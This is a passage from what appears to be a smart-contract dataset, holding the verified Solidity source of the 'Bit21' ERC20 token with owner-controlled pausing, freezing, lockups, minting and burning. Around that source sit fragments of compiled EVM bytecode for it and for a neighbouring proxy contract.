0476f7665726e6f72206973206164647265737328302900000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b726109ff565b73ffffffffffffffffffffffffffffffffffffffff167fc7c0c772add429241571afb3805861fb3cfa2af374534088b76cdb4325a87e9a60405160405180910390a3610bbd81610c7c565b50565b610bc981610cab565b610c1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180610cbf603b913960400191505060405180910390fd5b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b90508181555050565b60007f44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db60001b90508181555050565b60007f7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a60001b90508181555050565b600080823b90506000811191505091905056fe43616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e747261637420616464726573734f6e6c79207468652070656e64696e6720476f7665726e6f722063616e20636f6d706c6574652074686520636c61696da265627a7a72315820d4bf53ff6beeda8a0bbb972d48c8063ed6c0c88fbfef0c441141dc0e1cbaaf4e64736f6c634300050b0032
{"success": true, "error": null, "results": {}}
7,386
0xa1bfd3c436d1aa4480596d0b91560844511bf745
/** *Submitted for verification at Etherscan.io on 2021-05-01 * Ely Net and Tor Korea */ pragma solidity ^0.5.17; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyNewOwner() { require(msg.sender != address(0)); require(msg.sender == newOwner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } function acceptOwnership() public onlyNewOwner returns(bool) { emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function allowance(address owner, address spender) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } interface TokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; } contract Bit21 is ERC20, Ownable, Pausable { using SafeMath for uint256; struct LockupInfo { uint256 releaseTime; uint256 termOfRound; uint256 unlockAmountPerRound; uint256 lockupBalance; } string public name; string public symbol; uint8 constant public decimals =18; uint256 internal initialSupply; uint256 internal totalSupply_; mapping(address => uint256) internal balances; mapping(address => bool) internal locks; mapping(address => bool) public frozen; mapping(address => mapping(address => uint256)) internal allowed; mapping(address => LockupInfo[]) internal lockupInfo; event Lock(address indexed holder, uint256 value); event Unlock(address indexed holder, uint256 value); event Burn(address indexed owner, uint256 value); event Mint(uint256 value); event Freeze(address indexed holder); event Unfreeze(address indexed holder); modifier notFrozen(address _holder) { require(!frozen[_holder]); _; } constructor() public { name = "Bit21"; symbol = "BIT21"; initialSupply = 1000000000; totalSupply_ = initialSupply * 10 ** uint(decimals); balances[owner] = totalSupply_; emit Transfer(address(0), owner, totalSupply_); } // function () external payable { revert(); } function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public whenNotPaused notFrozen(msg.sender) returns (bool) { if (locks[msg.sender]) { autoUnlock(msg.sender); } require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; if(locks[_holder]) { for(uint256 idx = 0; idx < lockupInfo[_holder].length ; idx++ ) { lockedBalance = lockedBalance.add(lockupInfo[_holder][idx].lockupBalance); } } return balances[_holder] + lockedBalance; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused notFrozen(_from)returns (bool) { if (locks[_from]) { autoUnlock(_from); } require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) { require(isContract(_spender)); TokenRecipient spender = TokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, address(this), _extraData); return true; } } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = (allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function decreaseAllowance( address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = (allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function allowance(address _holder, address _spender) public view returns (uint256) { return allowed[_holder][_spender]; } function lock(address _holder, uint256 _amount, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) { require(balances[_holder] >= _amount); if(_termOfRound==0 ) { _termOfRound = 1; } balances[_holder] = balances[_holder].sub(_amount); lockupInfo[_holder].push( LockupInfo(_releaseStart, _termOfRound, _amount.div(100).mul(_releaseRate), _amount) ); locks[_holder] = true; emit Lock(_holder, _amount); return true; } function unlock(address _holder, uint256 _idx) public onlyOwner returns (bool) { require(locks[_holder]); require(_idx < lockupInfo[_holder].length); LockupInfo storage lockupinfo = lockupInfo[_holder][_idx]; uint256 releaseAmount = lockupinfo.lockupBalance; delete lockupInfo[_holder][_idx]; lockupInfo[_holder][_idx] = lockupInfo[_holder][lockupInfo[_holder].length.sub(1)]; lockupInfo[_holder].length -=1; if(lockupInfo[_holder].length == 0) { locks[_holder] = false; } emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return true; } function freezeAccount(address _holder) public onlyOwner returns (bool) { require(!frozen[_holder]); frozen[_holder] = true; emit Freeze(_holder); return true; } function unfreezeAccount(address _holder) public onlyOwner returns (bool) { require(frozen[_holder]); frozen[_holder] = false; emit Unfreeze(_holder); return true; } function getNowTime() public view returns(uint256) { return now; } function showLockState(address _holder, uint256 _idx) public view returns (bool, uint256, uint256, uint256, uint256, uint256) { if(locks[_holder]) { return ( locks[_holder], lockupInfo[_holder].length, lockupInfo[_holder][_idx].lockupBalance, lockupInfo[_holder][_idx].releaseTime, lockupInfo[_holder][_idx].termOfRound, lockupInfo[_holder][_idx].unlockAmountPerRound ); } else { return ( locks[_holder], lockupInfo[_holder].length, 0,0,0,0 ); } } function distribute(address _to, uint256 _value) public onlyOwner returns (bool) { require(_to != address(0)); require(_value <= balances[owner]); balances[owner] = balances[owner].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(owner, _to, _value); return true; } function distributeWithLockup(address _to, uint256 _value, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) { distribute(_to, _value); lock(_to, _value, _releaseStart, _termOfRound, _releaseRate); return true; } function claimToken(ERC20 token, address _to, uint256 _value) public onlyOwner returns (bool) { token.transfer(_to, _value); return true; } function burn(uint256 _value) public onlyOwner returns (bool success) { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); return true; } function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(address(0), _to, _amount); return true; } function isContract(address addr) internal view returns (bool) { uint size; assembly{size := extcodesize(addr)} return size > 0; } function autoUnlock(address _holder) internal returns (bool) { for(uint256 idx =0; idx < lockupInfo[_holder].length ; idx++ ) { if(locks[_holder]==false) { return true; } if (lockupInfo[_holder][idx].releaseTime <= now) { // If lockupinfo was deleted, loop restart at same position. if( releaseTimeLock(_holder, idx) ) { idx -=1; } } } return true; } function releaseTimeLock(address _holder, uint256 _idx) internal returns(bool) { require(locks[_holder]); require(_idx < lockupInfo[_holder].length); // If lock status of holder is finished, delete lockup info. LockupInfo storage info = lockupInfo[_holder][_idx]; uint256 releaseAmount = info.unlockAmountPerRound; uint256 sinceFrom = now.sub(info.releaseTime); uint256 sinceRound = sinceFrom.div(info.termOfRound); releaseAmount = releaseAmount.add( sinceRound.mul(info.unlockAmountPerRound) ); if(releaseAmount >= info.lockupBalance) { releaseAmount = info.lockupBalance; delete lockupInfo[_holder][_idx]; lockupInfo[_holder][_idx] = lockupInfo[_holder][lockupInfo[_holder].length.sub(1)]; lockupInfo[_holder].length -=1; if(lockupInfo[_holder].length == 0) { locks[_holder] = false; } emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return true; } else { lockupInfo[_holder][_idx].releaseTime = lockupInfo[_holder][_idx].releaseTime.add( sinceRound.add(1).mul(info.termOfRound) ); lockupInfo[_holder][_idx].lockupBalance = lockupInfo[_holder][_idx].lockupBalance.sub(releaseAmount); emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return false; } } }
0x6080604052600436106101d85760003560e01c80637eee288d11610102578063c9e075c611610095578063dd62ed3e11610064578063dd62ed3e14610ce2578063f26c159f14610d67578063f2fde38b14610dd0578063fb93210814610e21576101d8565b8063c9e075c614610a82578063cae9ca5114610b18578063d051665014610c22578063d4ee1d9014610c8b576101d8565b80639b819d38116100d15780639b819d38146108e0578063a457c2d71461090b578063a9059cbb1461097e578063c572652b146109f1576101d8565b80637eee288d1461076f5780638456cb59146107e25780638da5cb5b146107f957806395d89b4114610850576101d8565b80633f4ba83a1161017a57806370a082311161014957806370a08231146105e1578063788649ea1461064657806379ba5097146106af5780637c759d0d146106de576101d8565b80633f4ba83a146104d557806340c10f19146104ec57806342966c681461055f5780635c975abb146105b2576101d8565b806318160ddd116101b657806318160ddd1461037357806323b872dd1461039e578063313ce567146104315780633950935114610462576101d8565b806306fdde03146101dd578063095ea7b31461026d578063125bfb66146102e0575b600080fd5b3480156101e957600080fd5b506101f2610e94565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610232578082015181840152602081019050610217565b50505050905090810190601f16801561025f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027957600080fd5b506102c66004803603604081101561029057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f32565b604051808215151515815260200191505060405180910390f35b3480156102ec57600080fd5b506103596004803603606081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103e565b604051808215151515815260200191505060405180910390f35b34801561037f57600080fd5b50610388611167565b6040518082815260200191505060405180910390f35b3480156103aa57600080fd5b50610417600480360360608110156103c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611171565b604051808215151515815260200191505060405180910390f35b34801561043d57600080fd5b506104466115fb565b604051808260ff1660ff16815260200191505060405180910390f35b34801561046e57600080fd5b506104bb6004803603604081101561048557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611600565b604051808215151515815260200191505060405180910390f35b3480156104e157600080fd5b506104ea611835565b005b3480156104f857600080fd5b506105456004803603604081101561050f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118f0565b604051808215151515815260200191505060405180910390f35b34801561056b57600080fd5b506105986004803603602081101561058257600080fd5b8101908080359060200190929190505050611a6b565b604051808215151515815260200191505060405180910390f35b3480156105be57600080fd5b506105c7611c1f565b604051808215151515815260200191505060405180910390f35b3480156105ed57600080fd5b506106306004803603602081101561060457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c32565b6040518082815260200191505060405180910390f35b34801561065257600080fd5b506106956004803603602081101561066957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611da4565b604051808215151515815260200191505060405180910390f35b3480156106bb57600080fd5b506106c4611ef9565b604051808215151515815260200191505060405180910390f35b3480156106ea57600080fd5b50610755600480360360a081101561070157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291905050506120d2565b604051808215151515815260200191505060405180910390f35b34801561077b57600080fd5b506107c86004803603604081101561079257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506123aa565b604051808215151515815260200191505060405180910390f35b3480156107ee57600080fd5b506107f76128a2565b005b34801561080557600080fd5b5061080e61295d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561085c57600080fd5b50610865612982565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108a557808201518184015260208101905061088a565b50505050905090810190601f1680156108d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108ec57600080fd5b506108f5612a20565b6040518082815260200191505060405180910390f35b34801561091757600080fd5b506109646004803603604081101561092e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612a28565b604051808215151515815260200191505060405180910390f35b34801561098a57600080fd5b506109d7600480360360408110156109a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612c5d565b604051808215151515815260200191505060405180910390f35b3480156109fd57600080fd5b50610a68600480360360a0811015610a1457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050612f4e565b604051808215151515815260200191505060405180910390f35b348015610a8e57600080fd5b50610adb60048036036040811015610aa557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612fcf565b6040518087151515158152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b348015610b2457600080fd5b50610c0860048036036060811015610b3b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610b8257600080fd5b820183602082011115610b9457600080fd5b80359060200191846001830284011164010000000083111715610bb657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506132f4565b604051808215151515815260200191505060405180910390f35b348015610c2e57600080fd5b50610c7160048036036020811015610c4557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061346f565b604051808215151515815260200191505060405180910390f35b348015610c9757600080fd5b50610ca061348f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610cee57600080fd5b50610d5160048036036040811015610d0557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506134b5565b6040518082815260200191505060405180910390f35b348015610d7357600080fd5b50610db660048036036020811015610d8a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061353c565b604051808215151515815260200191505060405180910390f35b348015610ddc57600080fd5b50610e1f60048036036020811015610df357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613692565b005b348015610e2d57600080fd5b50610e7a60048036036040811015610e4457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613769565b604051808215151515815260200191505060405180910390f35b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f2a5780601f10610eff57610100808354040283529160200191610f2a565b820191906000526020600020905b815481529060010190602001808311610f0d57829003601f168201915b505050505081565b6000600160149054906101000a900460ff1615610f4e57600080fd5b81600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461109957600080fd5b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561112057600080fd5b505af1158015611134573d6000803e3d6000fd5b505050506040513d602081101561114a57600080fd5b810190808051906020019092919050505050600190509392505050565b6000600554905090565b6000600160149054906101000a900460ff161561118d57600080fd5b83600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111e557600080fd5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112425761124085613a67565b505b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561127c57600080fd5b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311156112c857600080fd5b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111561135157600080fd5b6113a383600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061143883600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061150a83600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561163b57600080fd5b6116ca82600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461188e57600080fd5b600160149054906101000a900460ff166118a757600080fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461194b57600080fd5b61196082600554613bc490919063ffffffff16565b6005819055506119b882600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ac657600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115611b1257600080fd5b6000339050611b6983600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bc183600554613bad90919063ffffffff16565b6005819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a26001915050919050565b600160149054906101000a900460ff1681565b60008060009050600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d5a5760008090505b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015611d5857611d49600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110611d2857fe5b90600052602060002090600402016003015483613bc490919063ffffffff16565b91508080600101915050611c91565b505b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611dff57600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e5557600080fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fca5069937e68fd197927055037f59d7c90bf75ac104e6e375539ef480c3ad6ee60405160405180910390a260019050919050565b60008073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611f3457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f8e57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461212d57600080fd5b84600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561217957600080fd5b600083141561218757600192505b6121d985600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180608001604052808681526020018581526020016122988561228a60648b613be090919063ffffffff16565b613bf990919063ffffffff16565b81526020018781525090806001815401808255809150509060018203906000526020600020906004020160009091929091909150600082015181600001556020820151816001015560408201518160020155606082015181600301555050506001600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff167f625fed9875dada8643f2418b838ae0bc78d9a148a18eee4ee1979ff0f3f5d427866040518082815260200191505060405180910390a26001905095945050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461240557600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661245b57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905082106124a957600080fd5b6000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481106124f557fe5b90600052602060002090600402019050600081600301549050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811061255857fe5b90600052602060002090600402016000808201600090556001820160009055600282016000905560038201600090555050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061261e6001600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050613bad90919063ffffffff16565b8154811061262857fe5b9060005260206000209060040201600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020858154811061268057fe5b9060005260206000209060040201600082015481600001556001820154816001015560028201548160020155600382015481600301559050506001600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181805490500391508161270e919061440b565b506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905014156127b3576000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8473ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1826040518082815260200191505060405180910390a261285381600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146128fb57600080fd5b600160149054906101000a900460ff161561291557600080fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612a185780601f106129ed57610100808354040283529160200191612a18565b820191906000526020600020905b8154815290600101906020018083116129fb57829003601f168201915b505050505081565b600042905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a6357600080fd5b612af282600960003373ffffffffffffffffffffffffff